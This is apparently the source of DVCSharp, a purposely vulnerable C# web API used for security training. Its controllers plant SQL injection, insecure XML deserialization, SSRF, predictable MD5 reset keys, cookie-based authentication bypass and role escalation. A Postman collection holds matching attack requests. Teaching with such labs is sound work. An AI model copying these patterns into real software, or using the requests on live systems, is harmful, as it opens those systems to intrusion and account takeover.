├── .gitignore ├── .vscode ├── launch.json └── tasks.json ├── Controllers ├── AuthorizationsController.cs ├── ImportsController.cs ├── PasswordResetsController.cs ├── ProductsController.cs ├── RegistrationsController.cs ├── TokensController.cs └── UsersController.cs ├── DVCSharp-API.postman_collection.json ├── Data └── GenericDataContext.cs ├── Dockerfile ├── MIT-LICENSE ├── Migrations ├── 20180427052355_InitialCreate.Designer.cs ├── 20180427052355_InitialCreate.cs ├── 20180514042927_AddPasswordRestRequest.Designer.cs ├── 20180514042927_AddPasswordRestRequest.cs ├── 20180515161327_AddProduct.Designer.cs ├── 20180515161327_AddProduct.cs └── GenericDataContextModelSnapshot.cs ├── Models ├── AuthorizationRequest.cs ├── AuthorizationResponse.cs ├── PasswordResetRequest.cs ├── Product.cs ├── RegistrationRequest.cs ├── User.cs └── UserUpdateRequest.cs ├── Program.cs ├── README.md ├── Startup.cs ├── appsettings.Development.json ├── appsettings.json ├── docker-compose.yml ├── documentation-dvcsharp-book ├── .gitignore ├── MIT-LICENSE ├── OWASP-Top-10-Mapping.md ├── README.md ├── SUMMARY.md ├── api_usage.md ├── attacks │ ├── email-address-bruteforce.md │ ├── insecure-deserialization.md │ ├── insecure-jwt-usage.md │ ├── privilege-escalation.md │ ├── sql-injection.md │ ├── sso-cookie-auth-bypass.md │ ├── ssrf.md │ └── weak-password-reset.md └── data │ └── DVCSharp_postman_v2.json ├── dvcsharp-core-api.csproj ├── start.sh ├── test └── DVCSharp-Core-API.postman_collection.json └── tmp └── EMPTY /.gitignore: -------------------------------------------------------------------------------- 1 | ################### 2 | # compiled source # 3 | ################### 4 | *.com 5 | *.class 6 | *.dll 7 | *.exe 8 | *.pdb 9 | *.dll.config 10 | *.cache 11 | *.suo 12 | # Include dlls if they’re in the NuGet packages directory 13 | !/packages/*/lib/*.dll 14 | !/packages/*/lib/*/*.dll 15 | # Include dlls if they're in the CommonReferences directory 16 | !*CommonReferences/*.dll 17 | #################### 18 | # VS Upgrade stuff # 19 | #################### 20 | UpgradeLog.XML 21 | _UpgradeReport_Files/ 22 | ############### 23 | # Directories # 24 | ############### 25 | bin/ 26 | obj/ 27 | TestResults/ 28 | ################### 29 | # Web publish log # 30 | ################### 31 | *.Publish.xml 32 | ############# 33 | # Resharper # 34 | ############# 35 | /_ReSharper.* 36 | *.ReSharper.* 37 | ############ 38 | # Packages # 39 | ############ 40 | # it’s better to unpack these files and commit the raw source 41 | # git has its own built in compression methods 42 | *.7z 43 | *.dmg 44 | *.gz 45 | *.iso 46 | *.jar 47 | *.rar 48 | *.tar 49 | *.zip 50 | ###################### 51 | # Logs and databases # 52 | ###################### 53 | *.log 54 | *.sqlite 55 | # OS generated files # 56 | ###################### 57 | .DS_Store? 58 | ehthumbs.db 59 | Icon? 60 | Thumbs.db 61 | [Bb]in 62 | [Oo]bj 63 | [Tt]est[Rr]esults 64 | *.suo 65 | *.user 66 | *.[Cc]ache 67 | *[Rr]esharper* 68 | packages 69 | NuGet.exe 70 | _[Ss]cripts 71 | *.exe 72 | *.dll 73 | *.nupkg 74 | *.ncrunchsolution 75 | *.dot[Cc]over 76 | 77 | tmp/*.db 78 | -------------------------------------------------------------------------------- /.vscode/launch.json: -------------------------------------------------------------------------------- 1 | { 2 | // Use IntelliSense to find out which attributes exist for C# debugging 3 | // Use hover for the description of the existing attributes 4 | // For further information visit https://github.com/OmniSharp/omnisharp-vscode/blob/master/debugger-launchjson.md 5 | "version": "0.2.0", 6 | "configurations": [ 7 | { 8 | "name": ".NET Core Launch (web)", 9 | "type": "coreclr", 10 | "request": "launch", 11 | "preLaunchTask": "build", 12 | // If you have changed target frameworks, make sure to update the program path. 13 | "program": "${workspaceFolder}/bin/Debug/netcoreapp2.0/dvcsharp-core-api.dll", 14 | "args": [], 15 | "cwd": "${workspaceFolder}", 16 | "stopAtEntry": false, 17 | "internalConsoleOptions": "openOnSessionStart", 18 | "launchBrowser": { 19 | "enabled": true, 20 | "args": "${auto-detect-url}", 21 | "windows": { 22 | "command": "cmd.exe", 23 | "args": "/C start ${auto-detect-url}" 24 | }, 25 | "osx": { 26 | "command": "open" 27 | }, 28 | "linux": { 29 | "command": "xdg-open" 30 | } 31 | }, 32 | "env": { 33 | "ASPNETCORE_ENVIRONMENT": "Development" 34 | }, 35 | "sourceFileMap": { 36 | "/Views": "${workspaceFolder}/Views" 37 | } 38 | }, 39 | { 40 | "name": ".NET Core Attach", 41 | "type": "coreclr", 42 | "request": "attach", 43 | "processId": "${command:pickProcess}" 44 | } 45 | ,] 46 | } -------------------------------------------------------------------------------- /.vscode/tasks.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": "2.0.0", 3 | "tasks": [ 4 | { 5 | "label": "build", 6 | "command": "dotnet", 7 | "type": "process", 8 | "args": [ 9 | "build", 10 | "${workspaceFolder}/dvcsharp-core-api.csproj" 11 | ], 12 | "problemMatcher": "$msCompile" 13 | } 14 | ] 15 | } -------------------------------------------------------------------------------- /Controllers/AuthorizationsController.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using Microsoft.AspNetCore.Mvc; 6 | using Newtonsoft.Json.Linq; 7 | using dvcsharp_core_api.Models; 8 | using dvcsharp_core_api.Data; 9 | 10 | namespace dvcsharp_core_api 11 | { 12 | [Route("api/[controller]")] 13 | public class AuthorizationsController : Controller 14 | { 15 | private readonly GenericDataContext _context; 16 | 17 | public AuthorizationsController(GenericDataContext context) 18 | { 19 | _context = context; 20 | } 21 | 22 | [HttpPost] 23 | public IActionResult Post([FromBody] AuthorizationRequest authorizationRequest) 24 | { 25 | if(!ModelState.IsValid) 26 | { 27 | return BadRequest(ModelState); 28 | } 29 | 30 | var response = dvcsharp_core_api.Models.User. 31 | authorizeCreateAccessToken(_context, authorizationRequest); 32 | 33 | if(response == null) { 34 | return Unauthorized(); 35 | } 36 | 37 | return Ok(response); 38 | } 39 | 40 | [HttpGet("GetTokenSSO")] 41 | public IActionResult GetTokenSSO() 42 | { 43 | var ssoCookieData = HttpContext.Request.Cookies["sso_ctx"]; 44 | 45 | if(String.IsNullOrEmpty(ssoCookieData)) { 46 | return Unauthorized(); 47 | } 48 | 49 | var ssoCookieDecoded = Convert.FromBase64String(ssoCookieData); 50 | var ssoCookie = JObject.Parse(System.Text.Encoding.UTF8.GetString(ssoCookieDecoded)); 51 | 52 | var userId = ssoCookie["auth_user"]; 53 | if(userId == null) { 54 | return Unauthorized(); 55 | } 56 | 57 | var user = _context.Users. 58 | Where(b => b.ID == userId.ToObject()). 59 | FirstOrDefault(); 60 | 61 | if(user == null) { 62 | return NotFound(); 63 | } 64 | 65 | var response = new Models.AuthorizationResponse(); 66 | response.role = user.role; 67 | response.accessToken = user.createAccessToken(); 68 | 69 | return Ok(response); 70 | } 71 | } 72 | } -------------------------------------------------------------------------------- /Controllers/ImportsController.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using System.IO; 6 | using System.Xml; 7 | using System.Xml.Serialization; 8 | using Microsoft.AspNetCore.Mvc; 9 | using Newtonsoft.Json.Linq; 10 | using dvcsharp_core_api.Models; 11 | using dvcsharp_core_api.Data; 12 | 13 | namespace dvcsharp_core_api 14 | { 15 | [Route("api/[controller]")] 16 | public class ImportsController : Controller 17 | { 18 | private readonly GenericDataContext _context; 19 | 20 | public ImportsController(GenericDataContext context) 21 | { 22 | _context = context; 23 | } 24 | 25 | [HttpPost] 26 | public IActionResult Post() 27 | { 28 | XmlDocument xmlDocument = new XmlDocument(); 29 | xmlDocument.Load(HttpContext.Request.Body); 30 | 31 | var entities = new List(); 32 | 33 | foreach(XmlElement xmlItem in xmlDocument.SelectNodes("Entities/Entity")) 34 | { 35 | string typeName = xmlItem.GetAttribute("Type"); 36 | 37 | if(String.IsNullOrEmpty(typeName)) 38 | continue; 39 | 40 | //Console.WriteLine("Trying to deserialize: " + typeName); 41 | //Console.WriteLine("Content: " + xmlItem.InnerXml); 42 | 43 | var xser = new XmlSerializer(Type.GetType(typeName)); 44 | var reader = new XmlTextReader(new StringReader(xmlItem.InnerXml)); 45 | 46 | entities.Add(xser.Deserialize(reader)); 47 | } 48 | 49 | return Ok(entities); 50 | } 51 | } 52 | } -------------------------------------------------------------------------------- /Controllers/PasswordResetsController.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using Microsoft.AspNetCore.Mvc; 6 | using System.Security.Cryptography; 7 | using dvcsharp_core_api.Models; 8 | using dvcsharp_core_api.Data; 9 | 10 | namespace dvcsharp_core_api 11 | { 12 | [Route("api/[controller]")] 13 | public class PasswordResetsController : Controller 14 | { 15 | private readonly GenericDataContext _context; 16 | 17 | public PasswordResetsController(GenericDataContext context) 18 | { 19 | _context = context; 20 | } 21 | 22 | [HttpPut] 23 | public IActionResult Put([FromBody] PasswordResetRequest passwordResetRequest) 24 | { 25 | if(String.IsNullOrEmpty(passwordResetRequest.key)) { 26 | ModelState.AddModelError("key", "Key is required for password reset"); 27 | return BadRequest(ModelState); 28 | } 29 | 30 | if(String.IsNullOrEmpty(passwordResetRequest.password) || 31 | String.IsNullOrEmpty(passwordResetRequest.passwordConfirmation)) { 32 | ModelState.AddModelError("password", "Password is required"); 33 | ModelState.AddModelError("passwordConfirmation", "Password confirmation is required"); 34 | return BadRequest(ModelState); 35 | } 36 | 37 | if(passwordResetRequest.password != passwordResetRequest.passwordConfirmation) { 38 | ModelState.AddModelError("password", "Password must match password confirmation"); 39 | return BadRequest(ModelState); 40 | } 41 | 42 | var resetRequest = _context.PasswordResetRequests. 43 | Where(b => b.key == passwordResetRequest.key).FirstOrDefault(); 44 | 45 | if(resetRequest == null) { 46 | ModelState.AddModelError("key", "Key not found in system"); 47 | return BadRequest(ModelState); 48 | } 49 | 50 | var existingUser = _context.Users. 51 | Where(b => b.email == resetRequest.email). 52 | FirstOrDefault(); 53 | 54 | existingUser.updatePassword(passwordResetRequest.password); 55 | 56 | _context.Users.Update(existingUser); 57 | _context.SaveChanges(); 58 | 59 | return Ok("Password updated successfully for userId: " + existingUser.ID.ToString()); 60 | } 61 | 62 | [HttpPost] 63 | public IActionResult Post([FromBody] PasswordResetRequest passwordResetRequest) 64 | { 65 | if(!ModelState.IsValid) 66 | { 67 | return BadRequest(ModelState); 68 | } 69 | 70 | var exitingUser = _context.Users. 71 | Where(b => b.email == passwordResetRequest.email). 72 | FirstOrDefault(); 73 | 74 | if(exitingUser == null) { 75 | ModelState.AddModelError("email", "Email address does not exist"); 76 | return BadRequest(ModelState); 77 | } 78 | 79 | var md5 = MD5.Create(); 80 | var hash = md5.ComputeHash(System.Text.Encoding.ASCII.GetBytes(passwordResetRequest.email)); 81 | 82 | passwordResetRequest.key = BitConverter.ToString(hash).Replace("-", "").ToLowerInvariant(); 83 | passwordResetRequest.createdAt = passwordResetRequest.updatedAt = DateTime.Now; 84 | 85 | _context.PasswordResetRequests.Add(passwordResetRequest); 86 | _context.SaveChanges(); 87 | 88 | return Ok("An email with password reset link has been sent."); 89 | } 90 | } 91 | } -------------------------------------------------------------------------------- /Controllers/ProductsController.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using System.IO; 6 | using System.Xml; 7 | using System.Xml.Serialization; 8 | using Microsoft.AspNetCore.Mvc; 9 | using Microsoft.EntityFrameworkCore; 10 | using dvcsharp_core_api.Models; 11 | using dvcsharp_core_api.Data; 12 | 13 | namespace dvcsharp_core_api 14 | { 15 | [Route("api/[controller]")] 16 | public class ProductsController : Controller 17 | { 18 | private readonly GenericDataContext _context; 19 | 20 | public ProductsController(GenericDataContext context) 21 | { 22 | _context = context; 23 | } 24 | 25 | [HttpGet] 26 | public IEnumerable Get() 27 | { 28 | return _context.Products.ToList(); 29 | } 30 | 31 | [HttpPost] 32 | public IActionResult Post([FromBody] Product product) 33 | { 34 | if(!ModelState.IsValid) 35 | { 36 | return BadRequest(ModelState); 37 | } 38 | 39 | var existingProduct = _context.Products. 40 | Where(b => (b.name == product.name) || (b.skuId == product.skuId)). 41 | FirstOrDefault(); 42 | 43 | if(existingProduct != null) { 44 | ModelState.AddModelError("name", "Product name or skuId is already taken"); 45 | return BadRequest(ModelState); 46 | } 47 | 48 | _context.Products.Add(product); 49 | _context.SaveChanges(); 50 | 51 | return Ok(product); 52 | } 53 | 54 | [HttpGet("export")] 55 | public void Export() 56 | { 57 | XmlRootAttribute root = new XmlRootAttribute("Entities"); 58 | XmlSerializer serializer = new XmlSerializer(typeof(Product[]), root); 59 | 60 | Response.ContentType = "application/xml"; 61 | serializer.Serialize(HttpContext.Response.Body, _context.Products.ToArray()); 62 | } 63 | 64 | [HttpGet("search")] 65 | public IActionResult Search(string keyword) 66 | { 67 | if (String.IsNullOrEmpty(keyword)) { 68 | return Ok("Cannot search without a keyword"); 69 | } 70 | 71 | var query = $"SELECT * From Products WHERE name LIKE '%{keyword}%' OR description LIKE '%{keyword}%'"; 72 | var products = _context.Products 73 | .FromSql(query) 74 | .ToList(); 75 | 76 | return Ok(products); 77 | } 78 | 79 | [HttpPost("import")] 80 | public IActionResult Import() 81 | { 82 | XmlReader reader = XmlReader.Create(HttpContext.Request.Body); 83 | XmlRootAttribute root = new XmlRootAttribute("Entities"); 84 | XmlSerializer serializer = new XmlSerializer(typeof(Product[]), root); 85 | 86 | var entities = (Product[]) serializer.Deserialize(reader); 87 | reader.Close(); 88 | 89 | return Ok(entities); 90 | } 91 | } 92 | } -------------------------------------------------------------------------------- /Controllers/RegistrationsController.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using Microsoft.AspNetCore.Mvc; 6 | using dvcsharp_core_api.Models; 7 | using dvcsharp_core_api.Data; 8 | 9 | namespace dvcsharp_core_api 10 | { 11 | [Route("api/[controller]")] 12 | public class RegistrationsController : Controller 13 | { 14 | private readonly GenericDataContext _context; 15 | 16 | public RegistrationsController(GenericDataContext context) 17 | { 18 | _context = context; 19 | } 20 | 21 | [HttpPost] 22 | public IActionResult Post([FromBody] RegistrationRequest registrationRequest) 23 | { 24 | if(!ModelState.IsValid) 25 | { 26 | return BadRequest(ModelState); 27 | } 28 | 29 | var existingUser = _context.Users. 30 | Where(b => b.email == registrationRequest.email). 31 | FirstOrDefault(); 32 | 33 | if(existingUser != null) { 34 | ModelState.AddModelError("email", "Email address is already taken"); 35 | return BadRequest(ModelState); 36 | } 37 | 38 | var user = new Models.User(); 39 | user.name = registrationRequest.name; 40 | user.email = registrationRequest.email; 41 | user.role = Models.User.RoleUser; 42 | user.createdAt = user.updatedAt = DateTime.Now; 43 | user.updatePassword(registrationRequest.password); 44 | 45 | _context.Users.Add(user); 46 | _context.SaveChanges(); 47 | 48 | return Ok(user); 49 | } 50 | } 51 | } -------------------------------------------------------------------------------- /Controllers/TokensController.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using Microsoft.AspNetCore.Mvc; 6 | using Microsoft.AspNetCore.Authorization; 7 | using dvcsharp_core_api.Models; 8 | using dvcsharp_core_api.Data; 9 | 10 | namespace dvcsharp_core_api 11 | { 12 | [Route("api/[controller]")] 13 | public class TokensController : Controller 14 | { 15 | private readonly GenericDataContext _context; 16 | 17 | public TokensController(GenericDataContext context) 18 | { 19 | _context = context; 20 | } 21 | 22 | [Authorize] 23 | [HttpGet("tokenInfo")] 24 | public IActionResult TokenInfo() 25 | { 26 | if(HttpContext.User.HasClaim(c => c.Type == "name")) { 27 | var email = HttpContext.User.Claims.FirstOrDefault(c => c.Type == "name").Value; 28 | var currentUser = _context.Users. 29 | Where(b => b.email == email). 30 | FirstOrDefault(); 31 | 32 | if(currentUser == null) 33 | return NotFound(); 34 | 35 | return Json(currentUser); 36 | } 37 | else { 38 | return BadRequest(); 39 | } 40 | } 41 | } 42 | } -------------------------------------------------------------------------------- /Controllers/UsersController.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using System.Net.Http; 6 | using Microsoft.AspNetCore.Mvc; 7 | using Microsoft.AspNetCore.Authorization; 8 | using Newtonsoft.Json.Linq; 9 | using dvcsharp_core_api.Models; 10 | using dvcsharp_core_api.Data; 11 | 12 | namespace dvcsharp_core_api 13 | { 14 | [Route("api/[controller]")] 15 | public class UsersController : Controller 16 | { 17 | private readonly GenericDataContext _context; 18 | 19 | public UsersController(GenericDataContext context) 20 | { 21 | _context = context; 22 | } 23 | 24 | [Authorize] 25 | [HttpGet] 26 | public IEnumerable Get() 27 | { 28 | return _context.Users.ToList(); 29 | } 30 | 31 | [Authorize] 32 | [HttpPut("{id}")] 33 | public IActionResult Put(int id, [FromBody] Models.UserUpdateRequest user) 34 | { 35 | if(!ModelState.IsValid) { 36 | return BadRequest(ModelState); 37 | } 38 | 39 | var existingUser = _context.Users.SingleOrDefault(m => m.ID == id); 40 | if(existingUser == null) { 41 | return NotFound(); 42 | } 43 | 44 | existingUser.name = user.name; 45 | existingUser.email = user.email; 46 | existingUser.role = user.role; 47 | existingUser.updatePassword(user.password); 48 | 49 | _context.Users.Update(existingUser); 50 | _context.SaveChanges(); 51 | 52 | return Ok(existingUser); 53 | } 54 | 55 | [Authorize] 56 | [HttpDelete("{id}")] 57 | public IActionResult Delete(int id) 58 | { 59 | User user = _context.Users.SingleOrDefault(m => m.ID == id); 60 | 61 | if(user == null) { 62 | return NotFound(); 63 | } 64 | 65 | _context.Users.Remove(user); 66 | _context.SaveChanges(); 67 | 68 | return Ok(user); 69 | } 70 | 71 | [Authorize] 72 | [HttpGet("import")] 73 | public async Task Import() 74 | { 75 | HttpClient client = new HttpClient(); 76 | var url = HttpContext.Request.Query["url"].ToString(); 77 | 78 | string responseBody = null; 79 | string errorMsg = "Success"; 80 | 81 | try { 82 | HttpResponseMessage response = await client.GetAsync(url); 83 | response.EnsureSuccessStatusCode(); 84 | responseBody = await response.Content.ReadAsStringAsync(); 85 | 86 | MockUserImport(responseBody); 87 | } 88 | catch(Exception e) { 89 | errorMsg = e.Message; 90 | } 91 | 92 | return Ok(new JObject( 93 | new JProperty("Error", errorMsg), 94 | new JProperty("Content", responseBody) 95 | )); 96 | } 97 | 98 | private void MockUserImport(string data) 99 | { 100 | // Mock 101 | } 102 | } 103 | } -------------------------------------------------------------------------------- /DVCSharp-API.postman_collection.json: -------------------------------------------------------------------------------- 1 | { 2 | "info": { 3 | "_postman_id": "3466b7f1-a58a-4e3e-8da1-18c5adb9a117", 4 | "name": "DVCSharp Core API", 5 | "schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json" 6 | }, 7 | "item": [ 8 | { 9 | "name": "Register User", 10 | "request": { 11 | "method": "POST", 12 | "header": [ 13 | { 14 | "key": "Content-Type", 15 | "value": "application/json" 16 | } 17 | ], 18 | "body": { 19 | "mode": "raw", 20 | "raw": "{\n\t\"name\": \"Test User\",\n\t\"email\": \"test@test.com\",\n\t\"password\": \"test123\",\n\t\"passwordConfirmation\": \"test123\"\n}" 21 | }, 22 | "url": { 23 | "raw": "http://localhost:5000/api/registrations", 24 | "protocol": "http", 25 | "host": [ 26 | "localhost" 27 | ], 28 | "port": "5000", 29 | "path": [ 30 | "api", 31 | "registrations" 32 | ] 33 | }, 34 | "description": "Register new user" 35 | }, 36 | "response": [] 37 | }, 38 | { 39 | "name": "List Users", 40 | "request": { 41 | "method": "GET", 42 | "header": [ 43 | { 44 | "key": "Authorization", 45 | "value": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdEB0ZXN0LmNvbSIsInJvbGUiOiJVc2VyIiwiZXhwIjoxNTYzNjAzMjg0LCJpc3MiOiJodHRwOi8vbG9jYWxob3N0LmxvY2FsLyIsImF1ZCI6Imh0dHA6Ly9sb2NhbGhvc3QubG9jYWwvIn0.gwmVBsF54alL4FiS7H-7yFEKqjoDHmwH_526BbFgP8k" 46 | } 47 | ], 48 | "url": { 49 | "raw": "http://localhost:5000/api/users", 50 | "protocol": "http", 51 | "host": [ 52 | "localhost" 53 | ], 54 | "port": "5000", 55 | "path": [ 56 | "api", 57 | "users" 58 | ] 59 | } 60 | }, 61 | "response": [] 62 | }, 63 | { 64 | "name": "Update User", 65 | "request": { 66 | "method": "PUT", 67 | "header": [ 68 | { 69 | "key": "Authorization", 70 | "value": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdEB0ZXN0LmNvbSIsInJvbGUiOiJVc2VyIiwiZXhwIjoxNTI2MzgwMzYxLCJpc3MiOiJodHRwOi8vbG9jYWxob3N0LmxvY2FsLyIsImF1ZCI6Imh0dHA6Ly9sb2NhbGhvc3QubG9jYWwvIn0.5ZejCtXrq2vZJJQQxQn2GJ9aeZ2OEi8wuuia6fAAR1Q" 71 | }, 72 | { 73 | "key": "Content-Type", 74 | "value": "application/json" 75 | } 76 | ], 77 | "body": { 78 | "mode": "raw", 79 | "raw": "{\n\t\"name\": \"Updated User\",\n\t\"email\": \"updated@updated.com\",\n\t\"password\": \"newpassword\",\n\t\"passwordConfirmation\": \"newpassword\",\n\t\"role\": \"Administrator\"\n}" 80 | }, 81 | "url": { 82 | "raw": "http://localhost:5000/api/users/1", 83 | "protocol": "http", 84 | "host": [ 85 | "localhost" 86 | ], 87 | "port": "5000", 88 | "path": [ 89 | "api", 90 | "users", 91 | "1" 92 | ] 93 | } 94 | }, 95 | "response": [] 96 | }, 97 | { 98 | "name": "Import Users", 99 | "request": { 100 | "method": "GET", 101 | "header": [ 102 | { 103 | "key": "Authorization", 104 | "value": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdEB0ZXN0LmNvbSIsInJvbGUiOiJVc2VyIiwiZXhwIjoxNTI2Mjg3MTMxLCJpc3MiOiJodHRwOi8vbG9jYWxob3N0LmxvY2FsLyIsImF1ZCI6Imh0dHA6Ly9sb2NhbGhvc3QubG9jYWwvIn0.5OOoWWZU26AmHlKOVgbhsQBoJVHQ0h_a0Eli6gfx5jM" 105 | } 106 | ], 107 | "url": { 108 | "raw": "http:/localhost:5000/api/users/import?url=http://ifconfig.co", 109 | "host": [ 110 | "http:" 111 | ], 112 | "port": "", 113 | "path": [ 114 | "localhost:5000", 115 | "api", 116 | "users", 117 | "import" 118 | ], 119 | "query": [ 120 | { 121 | "key": "url", 122 | "value": "http://ifconfig.co" 123 | } 124 | ] 125 | } 126 | }, 127 | "response": [] 128 | }, 129 | { 130 | "name": "Token Info", 131 | "request": { 132 | "method": "GET", 133 | "header": [ 134 | { 135 | "key": "Authorization", 136 | "value": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdEB0ZXN0LmNvbSIsInJvbGUiOiJVc2VyIiwiZXhwIjoxNTI2MzgwMzYxLCJpc3MiOiJodHRwOi8vbG9jYWxob3N0LmxvY2FsLyIsImF1ZCI6Imh0dHA6Ly9sb2NhbGhvc3QubG9jYWwvIn0.5ZejCtXrq2vZJJQQxQn2GJ9aeZ2OEi8wuuia6fAAR1Q" 137 | } 138 | ], 139 | "url": { 140 | "raw": "http://localhost:5000/api/tokens/tokenInfo", 141 | "protocol": "http", 142 | "host": [ 143 | "localhost" 144 | ], 145 | "port": "5000", 146 | "path": [ 147 | "api", 148 | "tokens", 149 | "tokenInfo" 150 | ] 151 | } 152 | }, 153 | "response": [] 154 | }, 155 | { 156 | "name": "Delete User", 157 | "request": { 158 | "method": "DELETE", 159 | "header": [], 160 | "url": { 161 | "raw": "http://localhost:5000/api/users/1", 162 | "protocol": "http", 163 | "host": [ 164 | "localhost" 165 | ], 166 | "port": "5000", 167 | "path": [ 168 | "api", 169 | "users", 170 | "1" 171 | ] 172 | }, 173 | "description": "Delete user by id" 174 | }, 175 | "response": [] 176 | }, 177 | { 178 | "name": "Authorization Request", 179 | "request": { 180 | "method": "POST", 181 | "header": [ 182 | { 183 | "key": "Content-Type", 184 | "value": "application/json" 185 | } 186 | ], 187 | "body": { 188 | "mode": "raw", 189 | "raw": "{\n\t\"email\": \"test@test.com\",\n\t\"password\": \"test123\"\n}" 190 | }, 191 | "url": { 192 | "raw": "http://localhost:5000/api/authorizations", 193 | "protocol": "http", 194 | "host": [ 195 | "localhost" 196 | ], 197 | "port": "5000", 198 | "path": [ 199 | "api", 200 | "authorizations" 201 | ] 202 | } 203 | }, 204 | "response": [] 205 | }, 206 | { 207 | "name": "Authorization Request SSO", 208 | "request": { 209 | "method": "GET", 210 | "header": [ 211 | { 212 | "key": "Cookie", 213 | "value": "sso_ctx=eyAiYXV0aF91c2VyIjogIjgiIH0K" 214 | } 215 | ], 216 | "url": { 217 | "raw": "http://localhost:5000/api/authorizations/GetTokenSSO", 218 | "protocol": "http", 219 | "host": [ 220 | "localhost" 221 | ], 222 | "port": "5000", 223 | "path": [ 224 | "api", 225 | "authorizations", 226 | "GetTokenSSO" 227 | ] 228 | } 229 | }, 230 | "response": [] 231 | }, 232 | { 233 | "name": "Password Reset Request", 234 | "request": { 235 | "method": "POST", 236 | "header": [ 237 | { 238 | "key": "Content-Type", 239 | "value": "application/json" 240 | } 241 | ], 242 | "body": { 243 | "mode": "raw", 244 | "raw": "{\n\t\"email\": \"test@test.com\"\n}" 245 | }, 246 | "url": { 247 | "raw": "http://localhost:5000/api/passwordresets", 248 | "protocol": "http", 249 | "host": [ 250 | "localhost" 251 | ], 252 | "port": "5000", 253 | "path": [ 254 | "api", 255 | "passwordresets" 256 | ] 257 | } 258 | }, 259 | "response": [] 260 | }, 261 | { 262 | "name": "Password Reset", 263 | "request": { 264 | "method": "PUT", 265 | "header": [ 266 | { 267 | "key": "Content-Type", 268 | "value": "application/json" 269 | } 270 | ], 271 | "body": { 272 | "mode": "raw", 273 | "raw": "{\n\t\"key\": \"b642b4217b34b1e8d3bd915fc65c4452\",\n\t\"password\": \"password123\",\n\t\"passwordConfirmation\": \"password123\"\n}" 274 | }, 275 | "url": { 276 | "raw": "http://localhost:5000/api/passwordresets", 277 | "protocol": "http", 278 | "host": [ 279 | "localhost" 280 | ], 281 | "port": "5000", 282 | "path": [ 283 | "api", 284 | "passwordresets" 285 | ] 286 | } 287 | }, 288 | "response": [] 289 | }, 290 | { 291 | "name": "List Product", 292 | "request": { 293 | "method": "GET", 294 | "header": [ 295 | { 296 | "key": "Content-Type", 297 | "value": "application/json" 298 | } 299 | ], 300 | "url": { 301 | "raw": "http://localhost:5000/api/products", 302 | "protocol": "http", 303 | "host": [ 304 | "localhost" 305 | ], 306 | "port": "5000", 307 | "path": [ 308 | "api", 309 | "products" 310 | ] 311 | } 312 | }, 313 | "response": [] 314 | }, 315 | { 316 | "name": "Export Products", 317 | "request": { 318 | "method": "GET", 319 | "header": [ 320 | { 321 | "key": "Content-Type", 322 | "value": "application/json" 323 | } 324 | ], 325 | "url": { 326 | "raw": "http://localhost:5000/api/products/export", 327 | "protocol": "http", 328 | "host": [ 329 | "localhost" 330 | ], 331 | "port": "5000", 332 | "path": [ 333 | "api", 334 | "products", 335 | "export" 336 | ] 337 | } 338 | }, 339 | "response": [] 340 | }, 341 | { 342 | "name": "Search Products", 343 | "request": { 344 | "method": "GET", 345 | "header": [ 346 | { 347 | "key": "Content-Type", 348 | "value": "application/json" 349 | } 350 | ], 351 | "url": { 352 | "raw": "http://localhost:5000/api/products/export", 353 | "protocol": "http", 354 | "host": [ 355 | "localhost" 356 | ], 357 | "port": "5000", 358 | "path": [ 359 | "api", 360 | "products", 361 | "export" 362 | ] 363 | } 364 | }, 365 | "response": [] 366 | }, 367 | { 368 | "name": "Import Products", 369 | "request": { 370 | "method": "POST", 371 | "header": [ 372 | { 373 | "key": "Content-Type", 374 | "value": "application/xml" 375 | } 376 | ], 377 | "body": { 378 | "mode": "raw", 379 | "raw": "\n\n \n 1\n Test Product 1\n Test Product Description\n PROD-001\n 0\n \n \n 2\n Test Product 11\n Test Product Description\n PROD-0011\n 100\n \n" 380 | }, 381 | "url": { 382 | "raw": "http://localhost:5000/api/products/import", 383 | "protocol": "http", 384 | "host": [ 385 | "localhost" 386 | ], 387 | "port": "5000", 388 | "path": [ 389 | "api", 390 | "products", 391 | "import" 392 | ] 393 | } 394 | }, 395 | "response": [] 396 | }, 397 | { 398 | "name": "Create Product", 399 | "request": { 400 | "method": "POST", 401 | "header": [ 402 | { 403 | "key": "Content-Type", 404 | "value": "application/json" 405 | } 406 | ], 407 | "body": { 408 | "mode": "raw", 409 | "raw": "{\n\t\"name\": \"Test Product 11\",\n\t\"description\": \"Test Product Description\",\n\t\"skuId\": \"PROD-0011\",\n\t\"unitPrice\": 100\n}" 410 | }, 411 | "url": { 412 | "raw": "http://localhost:5000/api/products", 413 | "protocol": "http", 414 | "host": [ 415 | "localhost" 416 | ], 417 | "port": "5000", 418 | "path": [ 419 | "api", 420 | "products" 421 | ] 422 | } 423 | }, 424 | "response": [] 425 | }, 426 | { 427 | "name": "Generic Entity Import", 428 | "request": { 429 | "method": "POST", 430 | "header": [ 431 | { 432 | "key": "Content-Type", 433 | "value": "application/xml" 434 | } 435 | ], 436 | "body": { 437 | "mode": "raw", 438 | "raw": "\n\n \n \t\n\t Test Product 1\n\t Test Product Description\n\t PROD-001\n\t 0\n \n \n \n \t\n \tTest Product 11\n \tTest Product Description\n \tPROD-0011\n \t100\n 